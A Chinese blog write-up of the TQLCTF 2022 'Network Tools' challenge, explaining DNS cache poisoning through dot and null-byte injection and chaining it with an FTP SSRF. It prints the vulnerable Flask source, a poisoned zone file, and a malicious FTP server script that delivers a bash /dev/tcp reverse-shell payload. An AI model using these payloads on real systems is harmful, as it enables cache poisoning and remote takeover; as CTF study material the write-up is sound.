[TQLCTF2022]NETWORK TOOLS复现

考点

  • DNS缓存污染

  • FTP SSRF

原理

通过在DNS资源记录中插⼊控制字符,从⽽影响DNS的解析结果,或是插⼊不符合域名规范的特殊字符,最终实现DNS缓存污染、SQL 注⼊、XSS等效果。

DNS

域名系统(Domain Name System,DNS),主要作用是将域名转换为ip地址。它是由一个分层DNS服务器实现的分布式数据库,也是一个使得主机能够查询分布式数据库的应用层协议。DNS服务器通常是一个运行BIND(Berkeley Internet Name Domain)软件的UNIX机器。DNS协议运行在UDP之上,使用53号端口。

典型DNS解析链:

image-20220228124238386

允许DNS支持新的应用而不涉及对其架构的任何改变的核心设计特征是要求对DNS记录的处理要做到透明地。也就是说,DNS不应试图解释或理解它所提供的记录。由于这一特点,新的DNS记录可以很容易地被添加到DNS架构中,而不需要任何修改。新的应用程序可以使用新添加的记录立即在DNS上运行 。

我们利用DNS查询的透明性,将恶意字符编码为DNS记录的有效载荷。攻击者将恶意记录放在其域名的域文件中。由攻击者的Nameserver提供的记录在攻击者控制的域下似乎包含合法映射,但记录被目标程序接受并处理时,就会发生错误的解释从而导致注入攻击。这种攻击利用了DNS透明性的两个关键要素:1.DNS 解析程序不改变接收到的记录,因此恶意编码得以保持完整。2.接受程序不对接收到的记录进行消毒,因此我们可以设计注入载荷来进行攻击。

image-20220228021452394

经典的注入攻击是已被广泛研究: 攻击者通过 web 应用程序提供恶意输入来改变命令的结构,从而破坏应用程序的逻辑。这样的注入攻击在实践中很容易减轻: 对用户输入进行过滤。

与用户输入相反,DNS 解析器提供的输入没有得到验证。我们可以构建恶意载荷进行注入攻击,如 XSS 和缓存中毒,针对各种应用程序和服务,包括 DNS 缓存,LDAP,eduroam.。

DNS记录和报文

资源记录

共同实现DNS分布式数据库的所有DNS服务器存储了资源记录(Resource Record, RR),RR提供了主机名到IP地址的映射。每个DNS的响应报文都会包含一条或多条RR.资源记录是一个包含了下列字段的4元数组:
(Name,Value.Type,TTL)
其详细含义为:

  • TTL记录了生存时间,即缓存中资源记录的过期时间。
  • Type=A:此时Name是主机名,Value是主机名对应的Ip地址。
  • Type=NS:Name是个域(此处是类似foo.com的域不是域名),Value是一个DNS服务器的主机名,这个DNS服务器可以获取到(直接或者间接)Name域中主机IP地址。也就是将子域名指定其他DNS服务器解析。
  • Type=CNAME:Value是别名为Name的主机对应的规范主机名。即Name为主机别名和Value主机实际名称的映射
  • Type=MX:Value是别名为Name的邮件服务器的规范主机名

DNS缓存攻击

这种攻击利用了域名和主机名不受字符限制这一事实。由于存在". “和”\000 "字符,对域名进行了误解。这些字符导致 ". "的出现被改变,从而操纵给定的父域的子域。攻击者可以在对开放式解析器发起攻击时直接触发 DNS 查询,也可以通过使用目标 DNS 解析器的应用程序(例如网页浏览器或email服务器)发起攻击。

这里介绍两种现存的基于域名误解的缓存注入攻击:

句点注入

为了注入一个恶意的DNS记录或用一个新的DNS记录覆盖一个缓存的值(由攻击者控制),我们可以设置这样的记录www\.target.com. A 6.6.6.6,这种攻击要求攻击者控制一个特殊畸形的域名www\.target.com,且目标域名在同一父域下,例如www.target.com。 由于大多数客户端软件不允许直接查询域名www\.target.com,为了向受害者的缓存种注入恶意记录,攻 击 者 可 以 使 用 任 意 子 域 名 ( 例 如injectdot.attacer.com)设置 CNAME 记录:

injectdot.attacker.com. CNAME www\.target.com.
www\.target.com. A 6.6.6.6

当我们直接而对记录进行解码而没有对("\.")进行转义时,www.target.com的 IP 地址会变为
6.6.6.6.。解码后缓存这个被误解的记录导致了DNS缓存注入。

零字节注入(\0截断)

我们设计了以下记录集 ,这里\000表示数据的结束,用于执行DNS缓存投毒。\000指的是8进制0对应的字符,即\0

injectzero.attacker.com CNAME www.target.com\000.attacker.com
www.target.com\000.attacker.com A 6.6.6.6

当我们解码并将其输入到目标缓存时,该记录使攻击者能够在缓存中注入任意域名的记录。在这个攻击中,我们还使用了一个 CNAME别名映射到某个二级域名injectzero.attacker.com,对于大多数客户端软件来讲,不可能不直接访问解析器就触发了对www.target.com\000.attacker.com的查询。当把这个记录集解码成C-string,而没有转义www.target.com后的零字节时,.attacker.com被重新移动,因为它在\000之后,DNS 软件误解记录并缓存一个记录映射www.target.com到 IP 地址 6.6.6.6

这张图可以非常清楚地解释\0截断导致的DNS缓存污染问题:

image-20220228022030850

题目解析

DNS污染

Dnsmasq提供 DNS 缓存和 DHCP 服务功能。作为域名解析服务器(DNS),dnsmasq可以通过缓存 DNS 请求来提高对访问过的网址的连接速度。作为DHCP 服务器,dnsmasq 可以用于为局域网电脑分配内网ip地址和提供路由。DNS和DHCP两个功能可以同时或分别单独实现。dnsmasq轻量且易配置,适用于个人用户或少于50台主机的网络。此外它还自带了一个 PXE服务器。

本题基于图中场景构建3个容器,分别是flask应⽤程序、dnsmasq和基于c-ares的DNS转发器(dnsproxy)。其中flask应⽤程序储存flag,可以执⾏ping、traceroute命令,并可以向ftp.sjtu.edu.cn下载并上传⽂件,还有⼀个限制本地访问的webshell,源码如下:

from flask import Flask, request, send_from_directory,session
from flask_session import Session
from io import BytesIO
import re
import os
import ftplib
from hashlib import md5

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['SESSION_TYPE'] = 'filesystem'  
sess = Session()
sess.init_app(app)

def exec_command(cmd, addr):
    result = ''
    if re.match(r'^[a-zA-Z0-9.:-]+$', addr) != None:
        with os.popen(cmd % (addr)) as readObj:
            result = readObj.read()
    else:
        result = 'Invalid Address!'
    return result

@app.route("/")
def index():
    if not session.get('token'):
        token = md5(os.urandom(32)).hexdigest()[:8]
        session['token'] = token
    return send_from_directory('', 'index.html')

@app.route("/ping", methods=['POST'])
def ping():
    addr = request.form.get('addr', '')
    if addr == '':
        return 'Parameter "addr" Empty!'
    return exec_command("ping -c 3 -W 1 %s 2>&1", addr)

@app.route("/traceroute", methods=['POST'])
def traceroute():
    addr = request.form.get('addr', '')
    if addr == '':
        return 'Parameter "addr" Empty!'
    return exec_command("traceroute -q 1 -w 1 -n %s 2>&1", addr)

@app.route("/ftpcheck")
def ftpcheck():
    if not session.get('token'):
        return redirect("/")
    domain = session.get('token') + ".ftp.testsweb.xyz"
    file = 'robots.txt'
    fp = BytesIO()
    try:
        with ftplib.FTP(domain) as ftp:
            ftp.login("admin","admin")
            ftp.retrbinary('RETR ' + file, fp.write)
    except ftplib.all_errors as e:
        return 'FTP {} Check Error: {}'.format(domain,str(e))
    fp.seek(0)
    try:
        with ftplib.FTP(domain) as ftp:
            ftp.login("admin","admin")
            ftp.storbinary('STOR ' + file, fp)
    except ftplib.all_errors as e:
        return 'FTP {} Check Error: {}'.format(domain,str(e))
    fp.close()
    return 'FTP {} Check Success.'.format(domain)

@app.route("/shellcheck", methods=['POST'])
def shellcheck():
    if request.remote_addr != '127.0.0.1':
        return 'Localhost only'
    shell = request.form.get('shell', '')
    if shell == '':
        return 'Parameter "shell" Empty!'
    return str(os.system(shell))

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

其中/ftpcheck存在ssrf漏洞,漏洞原理与CVE-2021-3129⼀致,只需要利⽤上图⽅法将token.ftp.testsweb.xyz的缓存污染为⾃⼰服务器的IP地址,即可实现FTP SSRF,访问到预留的webshell。

在域名的控制⾯板中添加如下两条记录,将a.testsweb.xyz的NS记录指向ns.testsweb.xyz

a.testsweb.xyz的A记录指向⾃⼰的IP(实际上任意域名都可以实现该攻击):

image-20220228160814461

接下来搭建⼀个权威DNS服务器,注意常⽤于搭建DNS的bind在域名中含有\000的时候会报错,经过测试我最终选择了twisted,这是⼀个基于python的dns⼯具,⽀持权威、转发器等模式,zone file(域名配置文件)如下:

zone = [
	SOA(
		# For whom we are the authority 
		'a.testsweb.xyz',
		
		# This nameserver's name 
		mname = "ns.testsweb.xyz.",
		
		# Mailbox of individual who handles this 
		rname = "admin.a.testsweb.xyz",
		
		# Unique serial identifying this SOA data 
		serial = 0,
		
		# Time interval before zone should be refreshed 
		refresh = "1H",
		
		# Interval before failed refresh should be retried 
		retry = "30M",
		
		# Upper limit on time interval before expiry 
		expire = "1M",
		
		# Minimum TTL 
		minimum = "30"
	),
	NS('a.testsweb.xyz', 'ns.testsweb.xyz'),
	CNAME('ftp.a.testsweb.xyz', '0b86b27c.ftp.testsweb.xyz\000.a.testsweb.xyz'),
	A('0b86b27c.ftp.testsweb.xyz\000.a.testsweb.xyz', '47.109.17.144'), 
]

保存为a.testsweb.xyz,然后执⾏下列命令,关掉systemd-resolved,以权威服务器模式打开twisted。

sudo service systemd-resolved stop 
sudo twistd -n dns --pyzone a.testsweb.xyz

在题⽬中pingftp.a.testsweb.xyz,即可污染token.ftp.testsweb.xyz为任意IP地址。

SSRF

运⾏恶意ftp脚本即可实现SSRF:

import socket 
from urllib.parse import unquote 
shell_ip = '8.8.8.8' 
shell_port = '7777' 
# 对payload进⾏⼀次urldecode
payload = unquote("POST%20/shellcheck%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2083%0D%0A%0D%0Ashell%3Dbash%2520-c%2520%2522bash%2520- i%2520%253E%2526%2520/dev/tcp/{}/{}%25200%253E%25261%2522".format(shell_ip, shell_port))
payload = payload.encode('utf-8')

host = '0.0.0.0' 
port = 21 
sk = socket.socket() 
sk.bind((host, port)) 
sk.listen(5) 
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket() 
sk2.bind((host, 1234)) 
sk2.listen() 
# 计数器,⽤于区分是第⼏次ftp连接
count = 1 
while 1: 
    conn, address = sk.accept()
    print("220 ")
    conn.send(b"220 \n")
    print(conn.recv(20)) # USER aaa\r\n 客⼾端传来⽤⼾名
    print("220 ready")
    conn.send(b"220 ready\n")

    print(conn.recv(20)) # TYPE I\r\n 客⼾端告诉服务端以什么格式传输数据,TYPE I表 ⽰⼆进制, TYPE A表⽰⽂
    print("200 ")

    conn.send(b"200 \n")
    print(conn.recv(20)) # PASV\r\n 客⼾端告诉服务端进⼊被动连接模式
    if count == 1:
        print("227 %s,4,210" % (shell_ip.replace('.', ',')))
        conn.send(b"227 %s,4,210\n" % (shell_ip.replace('.', ',').encode())) # 服务端告诉客⼾端需要到那个ip:port去获取数据,ip,port都是⽤逗号隔开,其中端⼝的计算规则为: 4*256+210=1234
    else:
        print("227 127,0,0,1,31,144")
        conn.send(b"227 127,0,0,1,31,144\n") # 端⼝计算规则:31*256+144=8080
    print(conn.recv(20)) # 第⼀次连接会收到命令RETR /123\r\n,第⼆次连接会收到STOR /123\r\n
    if count == 1:
        print("125 ")
        conn.send(b"125 \n") # 告诉客⼾端可以开始数据链接了
        # 新建⼀个socket给服务端返回我们的payload
        print("建⽴连接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        print("150 ")
        conn.send(b"150 \n")

# 第⼀次连接是下载⽂件,需要告诉客⼾端下载已经结束
    if count == 1:
        print("226 ")
        conn.send(b"226 \n")
    print(conn.recv(20)) # QUIT\r\n
    print("221 ")
    conn.send(b"221 \n")
    conn.close()
    count += 1 

监听端⼝,点击FTP Check,反弹shell成功。

image-20220228231832013

后记

整个题目我换了个域名做的,po上来的代码为官方wp代码,请自行修改。

在访问/ftpcheck时我没有收到域名回显,于是将他写到了一个文件中,之后进docker容器查看[直接获取flag(bushi)]

file_path = 'data.txt'
    with open(file_path, mode='w', encoding='utf-8') as file_obj:
        file_obj.write('FTP {} Check Success.'.format(domain))

参考文章:

https://www.usenix.org/conference/usenixsecurity21/presentation/jeitner

TQLCTF Oficial WP

twisted使用

https://c-ares.org/adv_20210810.html

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值